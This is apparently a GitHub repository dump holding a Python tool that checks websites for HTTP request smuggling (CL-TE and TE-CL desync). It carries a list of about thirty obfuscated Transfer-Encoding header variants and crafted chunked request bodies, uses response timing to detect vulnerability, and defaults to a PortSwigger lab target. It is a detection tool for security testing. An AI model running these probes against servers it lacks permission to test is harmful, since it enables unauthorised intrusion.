├── PIC └── result.png ├── README.md └── HTTP-Request-Smuggling-Checker.py /PIC/result.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jweny/HTTP-Request-Smuggling-Checker/HEAD/PIC/result.png -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ## [HTTP-Request-Smuggling-Checker](https://github.com/bad-lucifer/HTTP-Request-Smuggling-Checker) 2 | 3 | HTTP-Request-Smuggling(流量夹带攻击)检测脚本 4 | 5 | python3 6 | 7 | 运行结果: 8 | 9 | ![result](https://github.com/bad-lucifer/HTTP-Request-Smuggling-Checker/blob/master/PIC/result.png) -------------------------------------------------------------------------------- /HTTP-Request-Smuggling-Checker.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | from requests import Request, Session 3 | from requests.exceptions import ReadTimeout 4 | import urllib3 5 | import requests 6 | import collections 7 | import http.client 8 | 9 | # close http header check 10 | http.client._is_legal_header_name = lambda x: True 11 | http.client._is_illegal_header_value = lambda x: False 12 | urllib3.disable_warnings() 13 | 14 | 15 | class HttpRequestSmuggler(): 16 | 17 | def __init__(self, url): 18 | self.url = url 19 | self.payload_headers = [] 20 | self.result_headers = [] 21 | 22 | def generateHeaders(self): 23 | transfer_encoding = list( 24 | [ 25 | ["Transfer-Encoding", "chunked"], 26 | ["Transfer-Encoding ", "chunked"], 27 | ["Transfer_Encoding", "chunked"], 28 | ["Transfer Encoding", "chunked"], 29 | [" Transfer-Encoding", "chunked"], 30 | ["Transfer-Encoding", " chunked"], 31 | ["Transfer-Encoding", "chunked"], 32 | ["Transfer-Encoding", "\tchunked"], 33 | ["Transfer-Encoding", "\u000Bchunked"], 34 | ["Content-Encoding", " chunked"], 35 | ["Transfer-Encoding", "\n chunked"], 36 | ["Transfer-Encoding\n ", " chunked"], 37 | ["Transfer-Encoding", " \"chunked\""], 38 | ["Transfer-Encoding", " 'chunked'"], 39 | ["Transfer-Encoding", " \n\u000Bchunked"], 40 | ["Transfer-Encoding", " \n\tchunked"], 41 | ["Transfer-Encoding", " chunked, cow"], 42 | ["Transfer-Encoding", " cow, "], 43 | ["Transfer-Encoding", " chunked\r\nTransfer-encoding: cow"], 44 | ["Transfer-Encoding", " chunk"], 45 | ["Transfer-Encoding", " cHuNkeD"], 46 | ["TrAnSFer-EnCODinG", " cHuNkeD"], 47 | ["Transfer-Encoding", " CHUNKED"], 48 | ["TRANSFER-ENCODING", " CHUNKED"], 49 | ["Transfer-Encoding", " chunked\r"], 50 | ["Transfer-Encoding", " chunked\t"], 51 | ["Transfer-Encoding", " cow\r\nTransfer-Encoding: chunked"], 52 | ["Transfer-Encoding", " cow\r\nTransfer-Encoding: chunked"], 53 | ["Transfer\r-Encoding", " chunked"], 54 | ["barn\n\nTransfer-Encoding", " chunked"], 55 | ]) 56 | for x in transfer_encoding: 57 | headers = collections.OrderedDict() 58 | headers[x[0]] = x[1] 59 | headers['Cache-Control'] = "no-cache" 60 | headers['Content-Type'] = "application/x-www-form-urlencoded" 61 | headers['User-Agent'] = "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)" 62 | self.payload_headers.append(headers) 63 | 64 | def getRespTime(self, headers={}, payload=""): 65 | s = Session() 66 | req = Request('POST', self.url, data=payload) 67 | prepped = req.prepare() 68 | prepped.headers = headers 69 | resp_time = 0 70 | try: 71 | resp = s.send(prepped, verify=False, timeout=10) 72 | resp_time = resp.elapsed.total_seconds() 73 | print(resp, resp_time) 74 | except Exception as e: 75 | if isinstance(e, ReadTimeout): 76 | resp_time = 10 77 | print("requests.exceptions.ReadTimeout") 78 | return resp_time 79 | 80 | def calcTime(self, length_big_time, payload_big_time, length_small_time, payload_small_time): 81 | # todo 判断self.payload_headers 不为空 82 | for headers in self.payload_headers: 83 | headers['Content-Length'] = length_big_time 84 | big_time = self.getRespTime(headers, payload_big_time) 85 | if not big_time: 86 | big_time = 0 87 | if big_time < 5: 88 | continue 89 | # Content-Length == 11 90 | headers['Content-Length'] = length_small_time 91 | small_time = self.getRespTime(headers, payload_small_time) 92 | if not small_time: 93 | small_time = 1 94 | if big_time > 5 and big_time / small_time >= 5: 95 | self.valid = True 96 | self.type = "CL-TE" 97 | self.result_headers = [headers] 98 | return True 99 | return False 100 | 101 | def basic_check(self): 102 | header = { 103 | "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36" 104 | } 105 | try: 106 | resp = requests.get(self.url, headers=header, verify=False, timeout=10) 107 | if resp.status_code == 200: 108 | return True 109 | else: 110 | return False 111 | except Exception as error: 112 | print(error) 113 | 114 | def check_CLTE(self): 115 | result = self.calcTime(4, "1\r\nZ\r\nQ\r\n\r\n\r\n", 11, "1\r\nZ\r\nQ\r\n\r\n\r\n") 116 | return result 117 | 118 | def check_TECL(self): 119 | result = self.calcTime(6, "0\r\n\r\nX", 5, "0\r\n\r\n") 120 | return result 121 | 122 | def run(self): 123 | if self.basic_check(): 124 | self.generateHeaders() 125 | try: 126 | result = self.check_CLTE() 127 | flag = "CLTE" 128 | if not result: 129 | result = self.check_TECL() 130 | flag = "TECL" 131 | if result: 132 | print("[+]found vul" + flag) 133 | self.recheck(flag) 134 | except Exception as e: 135 | print(e) 136 | print("timeout: " + self.url) 137 | else: 138 | print("[+]target can not access") 139 | 140 | def recheck(self, flag): 141 | print("[+]recheck") 142 | result = False 143 | if flag == "CLTE": 144 | result = self.check_CLTE() 145 | if flag == "TECL": 146 | result = self.check_TECL() 147 | if result: 148 | # 这里输出 149 | payload_key = list(self.result_headers[0])[0] 150 | payload_value = self.result_headers[0][payload_key] 151 | payload = str([payload_key, payload_value]) 152 | print(flag, payload) 153 | 154 | if __name__ == '__main__': 155 | target = "https://ac701f101fe6fd95801c50b100a200f8.web-security-academy.net/" 156 | hrs = HttpRequestSmuggler(target) 157 | hrs.run() 158 | --------------------------------------------------------------------------------